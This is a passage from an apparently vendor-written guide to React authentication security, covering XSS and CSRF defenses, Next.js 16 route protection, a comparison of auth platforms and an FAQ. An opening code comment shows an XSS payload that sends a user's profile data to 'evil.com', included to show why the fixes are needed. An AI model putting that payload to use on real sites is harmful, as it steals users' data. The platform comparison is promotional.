  return <div dangerouslySetInnerHTML={{ __html: bio }} />
  // An attacker sets their bio to:
  // <img src=x onerror="fetch('/api/me').then(r=>r.json()).then(d=>fetch('https://evil.com/steal',{method:'POST',body:JSON.stringify(d)}))">
}
```

The fix: use React's default escaping, or sanitize with DOMPurify if you absolutely need `innerHTML`:

filename: src/components/secure-profile.tsx
```tsx
// ✅ SECURE: React escapes content by default
export function SecureProfile({ bio }: { bio: string }) {
  return <div>{bio}</div>
  // React escapes <, >, &, ", ' so no script execution is possible
}
```

If you absolutely need to render user-provided HTML (e.g., output from a rich text editor), sanitize it with DOMPurify:

filename: src/components/safe-rich-text.tsx
```tsx
import DOMPurify from 'dompurify'

export function SafeRichText({ html }: { html: string }) {
  return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(html) }} />
}
```

### CSRF in auth context

CSRF is only a concern with cookie-based auth. If you're using `Authorization: Bearer` headers, browsers never auto-attach them cross-origin, so CSRF isn't a factor.

For cookie-based auth, the defense is layered: `SameSite=Lax` or `SameSite=Strict` cookies, plus CSRF tokens for state-changing operations. `SameSite=Lax` blocks cross-origin POST requests while allowing top-level navigations (GET), which covers most attack scenarios.

### Security checklist

- httpOnly + Secure + SameSite cookies for refresh tokens
- In-memory [access tokens](https://clerk.com/glossary.md#access-token), never localStorage
- PKCE for all OAuth flows
- Short token lifetimes (15-60 min access, rotate refresh tokens)
- [Content Security Policy](https://clerk.com/glossary.md#content-security-policy-csp) headers with nonces (never `unsafe-inline`)
- [Rate limiting](https://clerk.com/glossary.md#rate-limiting) on login endpoints

## Authentication in Next.js 16: Server Components and proxy.ts

Next.js 16 replaced `middleware.ts` with `proxy.ts` ([Next.js Blog](https://nextjs.org/blog/next-16)). The proxy runs on the Node.js runtime (not Edge), which means it can access databases, TCP sockets, and Node APIs directly.

All rendering is dynamic by default in Next.js 16. You opt into caching with `cacheComponents: true` in your config and `"use cache"` directives. No more guessing what's static vs dynamic.

Here's Clerk's proxy.ts setup for protected routes:

filename: proxy.ts
```ts
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/settings(.*)', '/api(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect()
  }
})
```

Server Component auth happens before any HTML reaches the client. No loading spinners, no flash of unauthorized content:

filename: app/dashboard/page.tsx
```tsx
import { auth } from '@clerk/nextjs/server'
import { redirect } from 'next/navigation'

export default async function DashboardPage() {
  const { userId, orgId } = await auth()

  if (!userId) {
    redirect('/sign-in')
  }

  return (
    <div>
      <h1>Dashboard</h1>
      <p>User: {userId}</p>
      {orgId && <p>Organization: {orgId}</p>}
    </div>
  )
}
```

Server Actions verify auth before mutations. They serve as the actual security boundary:

filename: app/actions/update-profile.ts
```ts
'use server'

import { auth } from '@clerk/nextjs/server'

export async function updateProfile(formData: FormData) {
  const { userId } = await auth()

  if (!userId) {
    throw new Error('Unauthorized')
  }

  const name = formData.get('name') as string
  // Perform the update with verified userId
  await db.users.update({ where: { id: userId }, data: { name } })
}
```

The layered auth pattern: proxy.ts for optimistic route protection (fast, lightweight), Server Components for per-page auth, Server Actions for per-mutation auth. Each layer adds security without depending on the others.

## Choosing an authentication platform for React

The React auth ecosystem has matured. The right choice depends on your stack, team size, and requirements.

> Pricing and free tier details below reflect each platform's published pricing as of March 19, 2026. Check [Clerk](https://clerk.com/pricing), [Auth0](https://auth0.com/pricing), [Firebase](https://cloud.google.com/identity-platform/pricing), and [Supabase](https://supabase.com/pricing) pricing pages for the latest.

| Feature                                                            |   Clerk  |      Auth0      | Firebase Auth |                            Supabase Auth                           |  Custom |
| ------------------------------------------------------------------ | :------: | :-------------: | :-----------: | :----------------------------------------------------------------: | :-----: |
| React SDK                                                          |    Yes   |       Yes       |      Yes      |                                 Yes                                |   DIY   |
| Pre-built UI                                                       |    Yes   | Universal Login |   FirebaseUI  |                                 No                                 |    No   |
| Social Login                                                       |    Yes   |       Yes       |      Yes      |                                 Yes                                | Partial |
| MFA (TOTP)                                                         | Pro plan |       Yes       |    Upgrade    |                                 Yes                                | Partial |
| Passkeys                                                           |    Yes   |       Yes       |       No      |                                 No                                 | Partial |
| Enterprise [SSO](https://clerk.com/glossary/single-sign-on-sso.md) |    Yes   |       Yes       |    Upgrade    |                                Paid                                |    No   |
| [Organizations](https://clerk.com/glossary.md#organizations)/B2B   |    Yes   |       Yes       |       No      |                               Manual                               | Partial |
| Next.js 16 (proxy.ts)                                              |    Yes   |       Yes       |    Partial    |                               Partial                              | Partial |
| Self-hosting                                                       |    No    |        No       |       No      |                                 Yes                                |   Yes   |
| Free tier                                                          |  50K MRU |     25K MAU     |    50K MAU    | 50K [MAU](https://clerk.com/glossary.md#monthly-active-users-maus) |   N/A   |
| Setup complexity                                                   |    Low   |      Medium     |      Low      |                               Medium                               |   High  |

**A note on free tier metrics.** Clerk counts Monthly Retained Users (MRU): a user is "retained" when they return 24+ hours after signup. Other platforms count Monthly Active Users (MAU). The distinction matters for cost modeling.

**Clerk.** Purpose-built for React. Core 3 brings concurrent rendering support, \~50KB bundle savings, and redesigned hooks. 50K free MRU on the Hobby tier. MFA, custom session lifetimes, and branding removal require Pro ($25/mo, or $20/mo on annual billing). [SOC 2](https://clerk.com/glossary.md#soc-2) Type II certified, HIPAA and CCPA compliant. See the [React Quickstart](https://clerk.com/docs/react/getting-started/quickstart.md) to get started.

**Auth0.** Most extensible via Actions. Full proxy.ts support since SDK v4.13.0. Steeper learning curve, and pricing escalates at scale.

**Firebase Auth.** Generous 50K free MAU, tight Google ecosystem integration. Limited enterprise features without upgrading to Identity Platform. Passkey/WebAuthn PRs have been merged in the JS and iOS SDKs but there's no official documentation or GA announcement as of March 2026.

**Supabase Auth.** Open source, self-hostable, PostgreSQL-native RLS. Organization management requires manual implementation. Passkey/WebAuthn support is planned but not yet available natively as of March 2026.

**Custom/DIY.** Full control, no per-MAU costs. Significant dev time (5-6 weeks basic, 12+ months production-grade) and ongoing security burden.

## Conclusion

Authentication in React touches token security, session management, OAuth, MFA, passkeys, and XSS/CSRF prevention. Getting any piece wrong creates real vulnerability.

The managed platform ecosystem has matured. For React and Next.js teams, Clerk's component-first architecture and Core 3 SDK provide the shortest path from zero to production-grade auth.

The choice between DIY and managed depends on your team, timeline, and requirements. But the security math is clear: credential-based breaches cost $4.67M on average, higher than the $4.44M global average for all breach types ([SpyCloud/IBM, 2025](https://spycloud.com/blog/6-takeaways-from-ibm-data-breach-report-2025/)), and take 246 days to detect. Managed platforms eliminate entire categories of risk.

## Frequently asked questions

## FAQ

### What is React authentication and how does it work?

React authentication verifies a user's identity before granting access to protected resources. It typically involves collecting credentials (password, social login, passkey), exchanging them for tokens (JWTs), storing those tokens securely, and attaching them to API requests. React handles the UI layer: login forms, protected route components, auth state via Context API or hooks. The actual verification happens server-side. React apps commonly use the OAuth 2.0 Authorization Code Flow with PKCE for social login, and short-lived JWTs with refresh token rotation for session management.

### How do I protect routes in a React application?

Create a `ProtectedRoute` wrapper component that checks authentication state and redirects unauthenticated users. Use React Router's `<Navigate>` component with `state={{ from: location }}` to preserve the original destination. Always include an `isLoading` guard to prevent flash redirects before auth state resolves. With Clerk, use `useAuth()` from `@clerk/react` which provides `isLoaded` and `isSignedIn` states. Important: client-side route guards are a UX feature, not a security boundary. Always verify authentication server-side in API routes and Server Actions.

### Should I store JWTs in localStorage or cookies?

Neither localStorage nor sessionStorage should store authentication tokens. Both are accessible to any JavaScript running on the page, making them vulnerable to XSS attacks. The recommended pattern is: store access tokens in memory (a module-scoped variable) and refresh tokens in httpOnly cookies. In-memory tokens can't be accessed by injected scripts, and httpOnly cookies can't be read by JavaScript. The tradeoff is that in-memory tokens don't survive page refresh, so you need a silent refresh mechanism using the httpOnly cookie to restore them on page load.

### What is OAuth 2.0 PKCE and why is it required for React SPAs?

PKCE (Proof Key for Code Exchange) prevents authorization code interception attacks. The client generates a random `code_verifier`, hashes it to create a `code_challenge`, and sends the challenge with the authorization request. When exchanging the authorization code for tokens, the client sends the original verifier. The server hashes it and compares. This proves the same client that initiated the flow is completing it. PKCE is required for SPAs because they can't securely store a client secret (all client-side code is visible). The older Implicit Flow is deprecated because it exposes tokens in URL fragments.

### How do I implement social login (Google, GitHub) in React?

For DIY implementation: generate a PKCE code verifier and challenge using `crypto.subtle`, build an authorization URL with the provider's OAuth endpoint including the challenge, redirect the user, then handle the callback by exchanging the authorization code for tokens. You also need CSRF protection via a `state` parameter and account linking logic for users who sign in with multiple methods. With Clerk, call `signIn.sso({ strategy: 'oauth_google', redirectCallbackUrl: '/sso-callback', redirectUrl: '/' })`, which handles PKCE, token exchange, and account linking internally.

### What is multi-factor authentication and how do I add it to React?

MFA requires users to verify their identity with two or more factors: something they know (password), something they have (authenticator app, hardware key), or something they are (biometrics). TOTP (Time-based One-Time Password) is the most common second factor. Implementation involves generating a shared secret, displaying it as a QR code, and verifying 6-digit codes. With Clerk, use `user.createTOTP()` to generate the secret, render the QR code from `totp.uri`, and call `user.verifyTOTP({ code })` to complete setup. During sign-in, `signIn.mfa.verifyTOTP({ code })` handles the second factor.

### What are passkeys and how do they work with React?

Passkeys use the WebAuthn standard for phishing-resistant authentication. Instead of passwords, users authenticate with biometrics (fingerprint, face) or a hardware key. The browser creates a public-private key pair bound to the specific domain. The private key never leaves the device. During sign-in, the server sends a challenge, the authenticator signs it, and the server verifies the signature. Passkeys can't be phished because they're domain-bound. Raw WebAuthn implementation is complex (\~50+ lines for registration alone). With Clerk, registration is `user.createPasskey()` and sign-in is `signIn.passkey({ flow: 'discoverable' })`.

### How does Clerk compare to Auth0 for React authentication?

Clerk is purpose-built for React and Next.js with component-first architecture, pre-built UI components, and hooks that integrate naturally with React patterns. Auth0 offers broader platform support and greater extensibility through its Actions framework, which lets you inject custom logic at any authentication pipeline stage. Clerk offers 50K free MRU; Auth0 offers 25K free MAU. Clerk has native organization management; Auth0 also supports Organizations. Auth0's pricing escalates more steeply at scale. Both support passkeys, social login, MFA, and enterprise SSO. For React-specific developer experience, Clerk has the edge. For complex enterprise requirements with custom authorization logic, Auth0 is often the better fit.

### How does Clerk compare to Firebase Auth for React apps?

Firebase Auth offers a generous 50K free MAU and tight integration with Google Cloud services, making it strong for mobile-first or Google ecosystem apps. Clerk provides a richer React SDK with pre-built UI components, native organization/B2B support, and RBAC. Firebase Auth lacks built-in passkey support (SDK PRs merged but no GA as of March 2026), built-in RBAC, and organization management without upgrading to the more expensive Identity Platform tier. Clerk requires Pro ($25/mo) for MFA and branding removal. Firebase requires Identity Platform upgrade for advanced features. For React SPAs and Next.js apps, Clerk offers more out of the box.

### Should I build authentication from scratch or use a managed solution?

Build custom auth only if authentication is your core product differentiator, you have a dedicated security team (3+ engineers), and you have 12+ months of timeline flexibility. For everyone else, managed solutions are the pragmatic choice. Basic email/password with social login takes 5-6 weeks DIY. Adding MFA, SSO, passkeys, and account recovery pushes it to 12+ months. Managed platforms handle OWASP compliance, token security, session management, and ongoing maintenance. The cost is typically $25-60K over three years vs $700K-$1.95M for custom, at 10K MAU.

### How do I prevent XSS attacks in React authentication flows?

React auto-escapes JSX output, preventing most XSS. Avoid `dangerouslySetInnerHTML` with user-controlled data. If you must render HTML, sanitize with DOMPurify. Never use user input in `href` or `src` attributes without validation. For auth specifically: store tokens in memory (not localStorage), use Content Security Policy headers with nonces (never `unsafe-inline`), and audit third-party scripts. Even with these precautions, XSS can steal in-memory tokens during their lifespan, which is why short token lifetimes (60 seconds for Clerk's session tokens) and automatic refresh matter.

### What is CSRF and do React SPAs need protection against it?

CSRF (Cross-Site Request Forgery) tricks a user's browser into making authenticated requests to your API from a malicious site. It's only a concern with cookie-based authentication, because browsers automatically attach cookies to cross-origin requests. If you use `Authorization: Bearer` headers, CSRF isn't a factor since browsers never auto-attach these. For cookie-based auth, use `SameSite=Lax` or `SameSite=Strict` cookies (blocks cross-origin POST requests) and CSRF tokens for state-changing operations. Most managed auth platforms handle CSRF protection internally.

### How does authentication work with React Server Components in Next.js?

In Next.js 16, authentication happens at three layers. First, `proxy.ts` (replaces `middleware.ts`) runs on the Node.js runtime and performs optimistic route protection using `clerkMiddleware()` and `createRouteMatcher()`. Second, Server Components call `auth()` from `@clerk/nextjs/server` to verify authentication before rendering, with no client-side loading state needed. Third, Server Actions call `auth()` before mutations to ensure every data change is authenticated. All rendering is dynamic by default in Next.js 16, so there's no caching confusion around authenticated content.

### What are the best practices for session management in React?

Use short-lived access tokens (15-60 minutes) stored in memory, not localStorage. Use httpOnly cookies for refresh tokens with `Secure`, `SameSite=Lax`, and `Path=/api/auth/refresh` attributes. Implement refresh token rotation: every refresh returns a new refresh token, and reuse of an old token should invalidate the entire session (breach detection). Handle concurrent 401s by queuing requests during refresh. Regenerate session IDs after authentication state changes (login, privilege escalation). Consider the BFF (Backend for Frontend) pattern for maximum security, which keeps all tokens server-side.

### How do I implement role-based access control (RBAC) in React?

RBAC in React has two layers: client-side (UI gating) and server-side (security enforcement). On the client, conditionally render UI elements based on user roles. With Clerk, use the `<Show>` component: `<Show when={{ permission: 'org:posts:create' }}>` or `<Show when={{ role: 'org:admin' }}>`. On the server, verify roles in every API route and Server Action. Clerk's `auth()` returns `orgRole` for the active organization. Define roles and permissions in the Clerk Dashboard. Client-side role checks are UX only; server-side checks are the actual security boundary.

### What is the difference between authentication and authorization in React?

Authentication verifies identity: "Who are you?" It handles login, signup, session management, and MFA. Authorization determines access: "What can you do?" It handles permissions, roles, and resource-level access control. In React, authentication typically uses hooks like `useAuth()` to check if a user is signed in. Authorization uses role or permission checks to determine what a signed-in user can see or do. Both are required: authentication without authorization means everyone gets full access, and authorization without authentication means you can't verify who's asking.

### How do refresh tokens work in React applications?

When a user logs in, the server returns an access token (short-lived, 15-60 min) and a refresh token (long-lived, days/weeks). The access token is stored in memory and attached to API requests. When it expires (server returns 401), the client sends the refresh token (stored in an httpOnly cookie) to get a new access token. With refresh token rotation, each refresh also returns a new refresh token and invalidates the old one. If an attacker replays a stolen refresh token, the server detects the reuse and invalidates all tokens for that session.

### What password hashing algorithm should I use (Argon2id vs bcrypt)?

Use Argon2id if your platform supports it. OWASP recommends Argon2id with minimum 19 MiB memory, iteration count of 2, and 1 degree of parallelism. If Argon2id isn't available, use bcrypt with a work factor of 10 or higher. Never use MD5, SHA-1, or plain SHA-256 for password hashing. These aren't designed for password storage and can be brute-forced quickly. If you're using a managed auth platform like Clerk, Auth0, or Supabase, password hashing is handled automatically with current best practices.

### How do I handle authentication errors and loading states in React?

Always handle three states: loading, error, and success. Loading states prevent flash redirects (showing protected content before auth resolves). For DIY, use `useReducer` for complex auth state transitions and display field-specific errors. Clerk Core 3 provides `fetchStatus` ('idle' | 'fetching') from `useSignIn()` and `useSignUp()` for loading states, and `errors.fields.identifier`, `errors.fields.password`, etc. for field-level error messages. Always disable form submission buttons during `fetchStatus === 'fetching'` and display errors adjacent to the relevant input field.

### What is Clerk Core 3 and what changed for React developers?

Clerk Core 3 (March 2026) is a major redesign of the React SDK. Key changes: `@clerk/clerk-react` was renamed to `@clerk/react`. The `<SignedIn>`, `<SignedOut>`, and `<Protect>` components were unified into a single `<Show>` component with a `when` prop. `useSignIn()` and `useSignUp()` now return stateful objects with `fetchStatus` and structured `errors.fields`. `finalize()` replaces `setActive()` for completing auth flows. `useReverification()` standardizes step-up authentication for sensitive actions. Session tasks (`session.currentTask`) handle required post-auth steps like mandatory MFA setup.
